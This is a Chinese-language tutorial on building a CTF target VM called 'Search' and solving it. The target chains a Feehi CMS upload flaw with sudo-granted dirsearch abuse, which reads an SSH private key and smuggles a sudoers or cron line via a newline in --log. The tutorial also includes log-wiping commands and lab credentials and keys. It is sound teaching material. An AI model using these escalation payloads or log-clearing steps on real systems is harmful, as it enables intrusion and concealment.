MazeSec 矛计划 - 如何制作一台靶机
Search 靶机构建流程示例
一份出题模板参考,实际出题时可根据需求灵活调整。
# 1、构建工具
- VirtualBox
- 模板ova文件
- Tabby(ssh客户端)
VBox优势:跨平台、免费、开源、导出分发ova文件方便、兼容性好
# 2、导入靶机
找群里有出题经验的群友求助一份模板 ova,导入模板 ova 文件

导入后,可能需要调整到物理网卡桥接模式,校园网的话,可能限制设备数量,可以选择仅主机模式。


# 3、SSH登录靶机
我这个版本的模板 ova,默认用户名密码是 root/todd、welcome/todd,使用 Tabby SSH 登录到 root 用户
# 移除默认welcome用户
deluser --remove-home welcome
# 添加普通用户 7r1umphk
-m 表示创建用户的同时创建用户主目录, -s 指定用户登录后使用的 shell,-d 指定用户主目录位置
useradd -m -s /bin/bash -d /home/7r1umphk 7r1umphk
# 生成密码
生成一个18字节的随机字符串,经过 base64 编码后长度为24字符,可以作为一个强密码使用
openssl rand -base64 18
# 设置密码
chpasswd 命令可以通过管道输入的方式批量修改用户密码,格式为 用户名:密码
echo "root:mxmrtLHzuBk4vDpfFghRkDZI" | chpasswd
echo "7r1umphk:P3JkplQF5G255aUJWBRKEmzp" | chpasswd
2

# 清理历史命令
擦除痕迹,避免 .bash_history 文件里遗漏历史命令,仅用于实验靶机,生产环境请勿这样做
实际上内存中的 shell 历史、journal、其他服务日志、命令行参数等仍然会存在日志记录。
root 用户
rm /root/.bash_history
rm /root/.viminfo
ln -sf /dev/null /root/.bash_history
ln -sf /dev/null /root/.viminfo
2
3
4
普通用户 7r1umphk
rm /home/7r1umphk/.bash_history
rm /home/7r1umphk/.viminfo
ln -sf /dev/null /home/7r1umphk/.bash_history
ln -sf /dev/null /home/7r1umphk/.viminfo
2
3
4
# 修改主机名
hostnamectl set-hostname Search
echo '127.0.0.1 Search' >> /etc/hosts
su
2
3

# 4、部署 Web 环境
# 基础环境检查
模板是已经配置好了 apache 以 www-data 用户在 80 端口运行的 PHP+apache web 环境。
# 查看 apache 的运行用户
root@Search:~# grep -v '^#' /etc/apache2/apache2.conf
User www-data
Group www-data
# 查看 apache 的 web 根目录
root@Search:~# grep -v '^#' /etc/apache2/sites-enabled/000-default.conf
DocumentRoot /var/www/html
# 查看 apache 启用的 php 版本
root@Search:~# ls /etc/apache2/mods-enabled/ | grep php
php8.3.conf
php8.3.load
2
3
4
5
6
7
8
9
10
11
# php 配置检查
在 /var/www/html/ 下创建一个 index.php 文件,内容如下:
cd /var/www/html
rm index.html
echo '<?=phpinfo();?>' > /var/www/html/index.php
2
3
从 phpinfo 信息里找到 php.ini 配置文件路径,确认配置文件位置正确,且配置符合预期。

模板默认禁用了一些函数,根据你的需求灵活调整,php配置文件通过上面可以知道在 /etc/php/8.3/apache2/php.ini,可以在配置文件里修改禁用函数。

调试完,删除 index.php 文件
# 部署 Feehi CMS
Feehi CMS地址:https://github.com/liufee/cms (opens new window) 文件上传getshell issue地址:https://github.com/liufee/cms/issues/70 (opens new window)
根据项目的 README 说明,部署 Feehi CMS

使用 wget 下载源码到本地,没有wget,使用busybox自带的 wget 命令,下载完成后解压到 /var/www/html 目录下
root@Search:/var/www/html# busybox wget http://resource-1251086492.cossh.myqcloud.com/Feehi_CMS.zip
Connecting to resource-1251086492.cossh.myqcloud.com (36.155.210.171:80)
Feehi_CMS.zip 100% |***********************************************************************************************************| 38.3M 0:00:00 ETA
root@Search:/var/www/html# ls
Feehi_CMS.zip
root@Search:/var/www/html# unzip Feehi_CMS.zip -d /var/www/html/
2
3
4
5
6

然后在第二个配置文档说明,配置一下 apache web根目录https://github.com/liufee/cms/blob/master/docs/WEBSERVER_CONFIG.md (opens new window)

修改 /etc/apache2/sites-available/000-default.conf 文件,把 apache 配置部分写进去 https://github.com/liufee/cms/blob/master/docs/WEBSERVER_CONFIG.md (opens new window)
vim /etc/apache2/sites-available/000-default.conf

重启 apache 服务
systemctl restart apache2
把 /var/www/html/ 目录权限改为 www-data 用户和用户组
chown -R www-data:www-data /var/www/html/
在这个 CMS 推荐的 apache 配置文件里,有关于 RewriteEngine 的 VirtualHost 配置,需要启用一下 rewrite 模块
root@Search:/var/www/html# # 启用rewrite模块
root@Search:/var/www/html# sudo a2enmod rewrite
Enabling module rewrite.
To activate the new configuration, you need to run:
systemctl restart apache2
root@Search:/var/www/html#
root@Search:/var/www/html# # 检查模块是否启用
root@Search:/var/www/html# sudo apache2ctl -M | grep rewrite
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1. Set the 'ServerName' directive globally to suppress this message
rewrite_module (shared)
2
3
4
5
6
7
8
9
10
同时修改 apache 主配置文件,允许 CMS 的 .htaccess 文件生效
vim /etc/apache2/apache2.conf

配置一个 ServerName,随便配置一个,就叫 search.todd 吧,再检查语法
echo '127.0.0.1 search.todd' >> /etc/hosts
echo 'ServerName search.todd' >> /etc/apache2/apache2.conf
apache2ctl configtest
2
3

# 安装 mysql 数据库
由于当前模板使用的是已结束生命周期的 Debian 10,且源已被移至归档仓库,所以使用 apt 安装 mysql/mariadb 的成本较高。为简化出题流程,这里直接使用官方 MySQL 5.7 的二进制包手动部署。
我选择官网下载二进制安装包https://downloads.mysql.com/archives/community/ (opens new window)

去阿里云镜像下载速度更快 https://mirrors.aliyun.com/mysql/MySQL-5.7/mysql-5.7.38-linux-glibc2.12-x86_64.tar.gz (opens new window)

下载 mysql 二进制包,这些东西建议 windows 本地下载完成上传到靶机
cd /tmp
busybox wget https://mirrors.aliyun.com/mysql/MySQL-5.7/mysql-5.7.38-linux-glibc2.12-x86_64.tar.gz
2
解压到 /usr/local/ 目录
# 1. 解压到 /usr/local
tar -zxvf mysql-5.7.38-linux-glibc2.12-x86_64.tar.gz -C /usr/local/
cd /usr/local
2
3
创建软链接
ln -s mysql-5.7.38-linux-glibc2.12-x86_64 mysql
创建mysql用户和组
groupadd mysql
useradd -r -g mysql -s /bin/false mysql 2>/dev/null
2
设置权限
chown -R mysql:mysql /usr/local/mysql
chmod -R 755 /usr/local/mysql
2

初始化mysql
# 1. 创建数据目录
mkdir -p /var/lib/mysql
chown mysql:mysql /var/lib/mysql
# 2. 初始化数据库(关键步骤!)
cd /usr/local/mysql
bin/mysqld --initialize --user=mysql --basedir=/usr/local/mysql --datadir=/var/lib/mysql --explicit_defaults_for_timestamp
2
3
4
5
6
7
记住 mysql root密码 uXEugaqla2%d

创建Systemd服务
# 1. 创建配置文件
sudo tee /etc/my.cnf << 'EOF'
[mysqld]
basedir=/usr/local/mysql
datadir=/var/lib/mysql
socket=/run/mysqld/mysqld.sock
bind-address = 127.0.0.1
port=3306
user=mysql
max_connections=151
character-set-server=utf8mb4
collation-server=utf8mb4_unicode_ci
default-storage-engine=INNODB
[client]
socket=/run/mysqld/mysqld.sock
EOF
# 2. 创建systemd服务文件
sudo tee /etc/systemd/system/mysql.service << 'EOF'
[Unit]
Description=MySQL Server
After=network.target
[Service]
Type=simple
User=mysql
Group=mysql
RuntimeDirectory=mysqld
RuntimeDirectoryMode=0755
ExecStart=/usr/local/mysql/bin/mysqld --defaults-file=/etc/my.cnf
Restart=on-failure
RestartSec=5
TimeoutStartSec=300
[Install]
WantedBy=multi-user.target
EOF
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
启动MySQL
systemctl daemon-reload
systemctl enable mysql
systemctl start mysql
systemctl status mysql
2
3
4
(正常在线环境下,使用受支持版本的 Debian,直接 apt install mariadb-server 即可,这里只是因为模板系统过旧。)

创建全局符号链接
ln -s /usr/local/mysql/bin/mysql /usr/local/bin/mysql
ln -s /usr/local/mysql/bin/mysqladmin /usr/local/bin/mysqladmin
ln -s /usr/local/mysql/bin/mysqldump /usr/local/bin/mysqldump
2
3
验证是否可用
mysql -uroot -puXEugaqla2%d

修改mysql root 密码
mysqladmin -u root -p'uXEugaqla2%d' password '6td36JaXdvyq7PJ8nklIzvqi'
# 配置 CMS
访问 http://靶机IP/install.php 进行 cms 安装配置

随便想一个admin用户密码,例如:MazeSec2025
随便想一个邮箱,admin@maze-sec.com


在 CMS 根目录放一个 admin 用户的 备份凭证文件,确保是一个常见扫描工具的文件名并且 www-data 可读
root@Search:~# echo 'admin:MazeSec2025' > /var/www/html/frontend/web/setup.txt
root@Search:~# ls -alh /var/www/html/frontend/web/setup.txt
-rw-r--r-- 1 root root 18 Dec 6 12:56 /var/www/html/frontend/web/setup.txt
2
3
www-data 用户的入口算是完成了

# 5、pip 安装 dirsearch
dirsearch Github 仓库https://github.com/maurosoria/dirsearch (opens new window)
重点关注 python 版本要求 3.9 以上,可选择 pip 安装,靶机 python 3.9.2,符合条件


# 6、sudo 权限 dirsearch 配置
查看 dirsearch 绝对路径 /usr/local/bin/dirsearch
root@Search:/var/www/html# which dirsearch
/usr/local/bin/dirsearch
root@Search:/var/www/html# ls -alh /usr/local/bin/dirsearch
-rwxr-xr-x 1 root root 218 Dec 6 10:58 /usr/local/bin/dirsearch
root@Search:/var/www/html#
2
3
4
5

给 www-data 用户授予 sudo -u 7r1umphk dirsearch 权限
使用 visudo 编辑 Sudoers 文件,它会进行语法检查,防止因配置错误导致 sudo 权限失效
sudo visudo
删除原有的 welcome sudo 配置

添加两条 sudo 配置
www-data ALL=(7r1umphk) NOPASSWD: /usr/local/bin/dirsearch
7r1umphk ALL=(root) NOPASSWD: /usr/local/bin/dirsearch
2

修改完成,按 Ctrl+X,然后按 Y 保存退出
# 7、给 7r1umphk 用户准备 SSH 公钥私钥对
生成 ed25519 密钥对
-t 指定密钥类型为 ed25519,-f 指定密钥文件保存路径,-N '' 表示不设置密码
su - 7r1umphk
mkdir -p /home/7r1umphk/.ssh
chmod 700 /home/7r1umphk/.ssh
cd ~/.ssh
ssh-keygen -t ed25519 -f /home/7r1umphk/.ssh/id_ed25519 -N ''
2
3
4
5

配置公钥
cat /home/7r1umphk/.ssh/id_ed25519.pub >> /home/7r1umphk/.ssh/authorized_keys
chmod 600 /home/7r1umphk/.ssh/authorized_keys
cat /home/7r1umphk/.ssh/authorized_keys
2
3

出题人可以留一份私钥备份,方便测试
7r1umphk@Search:~/.ssh$ cat id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACB9rlG1TssRfMc1WmPsKjHLmwwVG0ukYvKa4mMkYsmWyAAAAJg+y+ADPsvg
AwAAAAtzc2gtZWQyNTUxOQAAACB9rlG1TssRfMc1WmPsKjHLmwwVG0ukYvKa4mMkYsmWyA
AAAECPxip0hGT4O48HAkEWglmNjSaDrr8tXi1W+inEP7eAS32uUbVOyxF8xzVaY+wqMcub
DBUbS6Ri8priYyRiyZbIAAAADzdyMXVtcGhrQFNlYXJjaAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
7r1umphk@Search:~/.ssh$ cat authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH2uUbVOyxF8xzVaY+wqMcubDBUbS6Ri8priYyRiyZbI 7r1umphk@Search
2
3
4
5
6
7
8
9
10
以上操作仅靶机实验环境演示,不适用于实际生产环境,建议保存私钥后删除服务端私钥文件。
# 8、root 家目录准备
删除 root 家目录默认 root.txt 文件
rm /root/root.txt
在root家目录创建 .ssh 目录,给选手多一个提权选择,脏数据写入公钥
mkdir -p /root/.ssh
chmod 700 /root/.ssh
2
# 9、放置 flag
使用随机uuid 生成 flag 内容,靶机没有 uuidgen,回到我的kali本地
┌──(npc㉿kali)-[~]
└─$ uuidgen | tr -d '-'
681db772f6844d4c84da083c3d280954
┌──(npc㉿kali)-[~]
└─$ uuidgen | tr -d '-'
499f7ecdb8434a7a962b9d5c6d88edce
2
3
4
5
6
7
在 用户家目录 下创建 user.txt,但我为了避免选手直接猜中 /root/root.txt 这种常规路径,这里把 root flag 文件随机命名为 /root/uuid.txt
echo 'flag{user-681db772f6844d4c84da083c3d280954}' > /home/7r1umphk/user.txt
echo 'flag{root-499f7ecdb8434a7a962b9d5c6d88edce}' > /root/499f7ecdb8434a7a962b9d5c6d88edce.txt
2
权限控制,家目录仅允许用户自己操作
chmod 700 /home/7r1umphk/
chown 7r1umphk:7r1umphk /home/7r1umphk/user.txt
chmod 600 /home/7r1umphk/user.txt
chmod 600 /root/499f7ecdb8434a7a962b9d5c6d88edce.txt
2
3
4
权限确认,确认目录、文件都是预期权限
ls -alh /home/
ls -alh /root/
ls -lah /home/7r1umphk/.ssh
ls -alh /home/7r1umphk/user.txt
2
3
4

# 10、擦除痕迹
不建议直接在构建好的靶机上进行测试操作,可以选择把构建好的靶机导出一份 ova,作为新的靶机导入 VBox 进行测试。
这里只是为了让导出的 OVA 看起来更“干净”,避免泄露出题时的个人操作记录,并不能真正抹除所有痕迹。

rm /root/.viminfo
rm /root/.python_history
rm /root/.mysql_history
ln -s /dev/null /root/.viminfo
ln -s /dev/null /root/.python_history
ln -s /dev/null /root/.mysql_history
# 清常见文本日志
> /var/log/apache2/access.log
> /var/log/apache2/error.log
> /var/log/auth.log
> /var/log/syslog
> /var/log/apt/history.log
> /var/log/apt/term.log
2
3
4
5
6
7
8
9
10
11
12
13
14
# 11、靶机导出
导出虚拟机

指定靶机

导出路径选择

导出后,可以把这个靶机ova文件分发给选手

# 12、测试
存活主机扫描、端口扫描过程略
80 端口目录扫描

通过 setup.txt admin:MazeSec2025 进入后台,复现 https://github.com/liufee/cms/issues/70


读取公钥
touch /tmp/111
chmod 777 /tmp/111
sudo -u 7r1umphk dirsearch -u http://127.0.0.1/ -w /home/7r1umphk/.ssh/authorized_keys --log=/tmp/111
2
3
可以看出是 ed25519算法生成

尝试读取私钥
rm /tmp/111
touch /tmp/111
chmod 777 /tmp/111
sudo -u 7r1umphk dirsearch -u http://127.0.0.1/ -w /home/7r1umphk/.ssh/id_ed25519 --log=/tmp/111 -t 1
2
3
4
并发扫描,读取私钥的行顺序有点乱了,可以指定线程数为1,拼接出完整私钥
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACB9rlG1TssRfMc1WmPsKjHLmwwVG0ukYvKa4mMkYsmWyAAAAJg+y+ADPsvg
AwAAAAtzc2gtZWQyNTUxOQAAACB9rlG1TssRfMc1WmPsKjHLmwwVG0ukYvKa4mMkYsmWyA
AAAECPxip0hGT4O48HAkEWglmNjSaDrr8tXi1W+inEP7eAS32uUbVOyxF8xzVaY+wqMcub
DBUbS6Ri8priYyRiyZbIAAAADzdyMXVtcGhrQFNlYXJjaAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
2
3
4
5
6
7


sudo 配置文件有容错性,构造个 sudo 给 7r1umphk
另外你还可以选择尝试控制输出写入公钥,如果靶机是 alpine ,你还可以尝试 定时任务。
7r1umphk ALL=(ALL:ALL) NOPASSWD: ALL
构造 payload
rm /tmp/222
touch /tmp/222
chmod 777 /tmp/222
sudo -u root dirsearch -u http://127.0.0.1/ -o /etc/sudoers.d/sbash --format=plain --log='
7r1umphk ALL=(ALL:ALL) NOPASSWD: ALL
'
2
3
4
5
6

# 13、出题人分享(可选)
靶机构建之前,相信你已经有了完整的思路,你是否愿意分享更多细节让选手在靶机截至后了解这个靶机?
01、靶机灵感:最近学习到什么新的骚姿势让你迫不及待构建一台靶机与群友分享,或者你希望构建一台靶机让群友学到什么新东西?
02、靶机用户:这个靶机都有哪些用户?
03、靶机细节:分享下这台靶机的细节。
04、攻击流程简述:简单讲讲攻击流程。
05、靶机重点:你最想让选手学到的点是什么?
06、选手卡点:你觉得选手可能会卡在哪些点?
07、可行测试:你能否在本地环境成功测试?
08、靶机名称:这个靶机名字有什么故事吗?
2
3
4
5
6
7
8
01、靶机灵感
前段时间老夜出了 spiteful 靶机,其中最后的提权点是 rkhunter 工具的参数功能挖掘,有群友通过配置文件执行脚本拿到了提权,比较优雅。我通过挖掘 rkhunter 工具的参数,观察工具写入日志的行为,发现日志似乎可控,于是有了控制日志内容写入,在日志数据格式不完全可控条件下,可以构造出部分一行或多行可控内容,另外我总结了三种写入内容不完全可控下的提权:1、写入一行公钥,2、定时任务,3、sudoers.d 授权文件,具体看利用配置文件内容容错性实现权限提升的三种方式 (opens new window)
在老夜这个靶机的启发下,我深入挖掘了一下 dirsearch 的参数功能,发现它也存在类似的写入内容不完全可控的场景,于是我设计了这个靶机,让选手通过挖掘 dirsearch 的参数功能实现提权。
02、靶机用户
- www-data (web 入口)
- 7r1umphk (关键用户)
- root
03、靶机细节
1、入口选择了 Github 上一个开源 CMS 框架,通过常规端口扫描即可发现 80 端口,再结合指纹/标题/路径信息可以识别出是 Feehi CMS。
Feehi CMS地址:https://github.com/liufee/cms (opens new window)
文件上传getshell issue地址:https://github.com/liufee/cms/issues/70 (opens new window)
2、给www-data用户授予了sudo -u 7r1umphk 权限,利用 dirsearch 的 -w 参数指定 7r1umphk 用户私钥作为字典,让 dirsearch 以 7r1umphk 身份读取该文件,并通过 --log 参数把每一行内容拼接到请求 URL 中写入日志文件,从而间接泄露 7r1umphk 的私钥内容。(甜品级利用)
利用条件:
- 1、任意web站点
- 2、任意文件读取
- 3、存在可写可读目录(/tmp)
- 4、使用--log参数指定可读文件
演示(节选部分):
┌──(npc㉿kali)-[~/test]
└─$ touch /tmp/dirsearch.log && chmod 777 /tmp/dirsearch.log
┌──(npc㉿kali)-[~/test]
└─$ dirsearch -u http://127.0.0.1/ -w /etc/passwd --log=/tmp/dirsearch.log
┌──(npc㉿kali)-[~/test]
└─$ cat /tmp/dirsearch.log
2025-12-07 01:36:13,771 [INFO] "GET http://127.0.0.1/mail:x:8:8:mail:/var/mail:/usr/sbin/nologin" 404 - 335B
2025-12-07 01:36:13,773 [INFO] "GET http://127.0.0.1/bin:x:2:2:bin:/bin:/usr/sbin/nologin" 404 - 335B
2025-12-07 01:36:13,775 [INFO] "GET http://127.0.0.1/nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin" 404 - 335B
2025-12-07 01:36:13,777 [INFO] "GET http://127.0.0.1/root:x:0:0:root:/root:/usr/bin/zsh" 404 - 335B
2025-12-07 01:36:13,778 [INFO] "GET http://127.0.0.1/sync:x:4:65534:sync:/bin:/bin/sync" 404 - 335B
2
3
4
5
6
7
8
9
10
11
12
13

3、重命名 root.txt,避免被猜中常规路径 /root/root.txt,迫使选手挖掘其他参数功能,回家的诱惑(/root/)
4、给 7r1umphk 用户授予了sudo -u root 权限,利用dirsearch -o 参数指定一个输出文件,再利用 format 参数指定输出格式为plain,这会记录 dirsearch 的扫描结果/运行信息,包括 dirsearch 的命令行启动参数,如果可以在启动命令行参数里插入一段单行可控的 payload(例如一条 sudo授权 行或一条 公钥),就可以把这段内容写入公钥、sudoers.d/实现提权,后续如何利用就随意了。
利用条件:
- 1、构造可控web站点,确保dirsearch默认字典可以扫到东西,扫到东西才会生成输出文件
- 2、利用 -o 参数控制任意文件
- 3、使用 -format 参数指定输出类型为plain,这个类型下,会记录 dirsearch 的启动命令行参数
- 4、使用 --log 参数值控制写入内容
演示:
┌──(npc㉿kali)-[~/test]
└─$ dirsearch -u http://127.0.0.1/ -o 2.txt --format=plain --log '
* * * * * root /bin/bash -c whoami'
Output File: 2.txt
Log File: /home/npc/test/
* * * * * root /bin/bash -c whoami
Target: http://127.0.0.1/
[01:26:07] Starting:
[01:26:10] 200 - 183B - /2.txt
CTRL+C detected: Pausing threads, please wait...
┌──(npc㉿kali)-[~/test]
└─$ cat 2.txt
# Dirsearch started Sun Dec 7 01:26:10 2025 as: /home/npc/.local/bin/dirsearch -u http://127.0.0.1/ -o 2.txt --format=plain --log
* * * * * root /bin/bash -c whoami
200 183B http://127.0.0.1/2.txt
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
补充细节:dirsearch 运行过程真的会把启动命令行的文件和目录创建出来,但是不重要
┌──(npc㉿kali)-[~/test]
└─$ ls
''$'\n''111' ''$'\n''* * * * * root '
2
3


04、攻击流程简述
通过 CMS 文件上传漏洞拿到 www-data shell
利用 dirsearch 读取 7r1umphk 用户私钥
7r1umphk 用户利用 dirsearch 利用文件写提权
05、靶机重点
挖掘 dirsearch 文件写功能的潜力,重点是 -w、-o、-format、-log 参数的配合使用
-w:指定扫描字典文件(这里被用来读取任意文件) -o:控制任意位置写入文件 --format:控制写入文件的内容格式 --log:控制写入文件的内容
06、选手卡点
分析选手预期可能卡在哪里。
1、依赖单一工具 dirsearch,dirsearch 默认扫描字典不包含 后台密码备份文件 setup.txt,选手未尝试其他常见字典,无法进入后台。
2、选手尝试爆破登录后台 admin 用户密码,密码是 MazeSec2025 ,非常见弱口令,爆破无果,无法进入后台。
3、选手未对 CMS 指纹特征进行信息收集及利用,没有在 Github 找到该开源 CMS 项目及 issue 中披露的文件上传 getshell 方案,尝试自主挖掘 CMS 框架漏洞,无果。
4、选手通过 issue 披露的方案拿到 www-data shell 后,没有稳定优化 shell 环境,可能存在一些命令交互问题。
5、选手未挖掘 dirsearch 的 读取字典功能,错失文件读取机会。
6、选手尝试读取默认 id_rsa 私钥,未考虑到可能存在其他算法的私钥文件,如果 id_ed25519 ,错失提升到 7r1umphk 用户的机会。
7、选手拿到 7r1umphk 用户 shell 后,未挖掘 dirsearch 的写入功能,仍使用 读取功能,读取 shadow 文件,爆破 root 用户密码,root 密码复杂度较高,爆破无果。
8、选手发现 dirsearch 有写入功能,但未考虑到写入内容不完全可控的场景及 dirsearch 工具参数测试不充分,无法构造出可利用的 payload。
读取功能挖掘:
- 1、任意web站点
- 2、任意文件读取
- 3、存在可写可读目录(/tmp)
- 4、使用--log参数指定可读文件
写入功能挖掘:
- 1、构造可控web站点,确保dirsearch默认字典可以扫到东西,扫到东西时才会生成输出文件
- 2、利用 -o 参数控制任意文件
- 3、使用 -format 参数指定输出类型为plain,这个类型下,会记录 dirsearch 的启动命令行参数
- 4、使用 --log 参数值控制写入内容,单引号构造换行
07、可行测试
出题人本地测试可行
08、靶机名称
Search 靶机,靶机重点使用了 dirsearch 工具以及入口处 cms 考察的开源情报收集能力,所以给靶机取名 Search。
小故事:

# 14、遇到的问题
# 问题1:靶机 apache 默认未启用 rewrite 模块
非预期:完成以上配置重启apache后,配置的工作目录 /var/www/html/frontend/web 没有生效
原因:因为启用了包含 RewriteEngine 的 VirtualHost 配置,但未启用 rewrite 模块,导致配置语法检查不通过,apache2ctl configtest 报错,服务无法正常加载新的站点配置;
结果就是:访问时仍然落在原来默认的 DocumentRoot /var/www/html,看起来像是“新配置没生效”。(具体表现取决于当时服务是否已经在运行:可能直接启动失败,也可能继续使用旧的配置。)
# 问题2:靶机默认无 MySQL 服务
现象:CMS 页面报 PDO 异常,提示连接 MySQL 失败。
原因:模板系统没有内置 MySQL 服务,需要额外部署;同时 /run 是 tmpfs,早期用 /var/run/mysqld 手动建目录的方式,重启后目录会消失,导致 Yii2 报 "No such file or directory"。
最终做法:采用二进制部署 + systemd 的 RuntimeDirectory=mysqld 管理 /run/mysqld,具体步骤见前文「安装 MySQL 数据库」小节。
# 问题3:CMS 部署时未使用域名
现象:靶机在构建时硬编码了 IP,在分发给选手时出现部分资源加载问题。 原因:CMS 部署时未使用域名,导致部分资源加载失败。
解决方案:
- 1、在靶机 /etc/hosts 里添加域名映射 127.0.0.1 example.com
- 2、apache 配置文件里添加 ServerName example.com
- 3、CMS 部署时使用 example.com 作为站点域名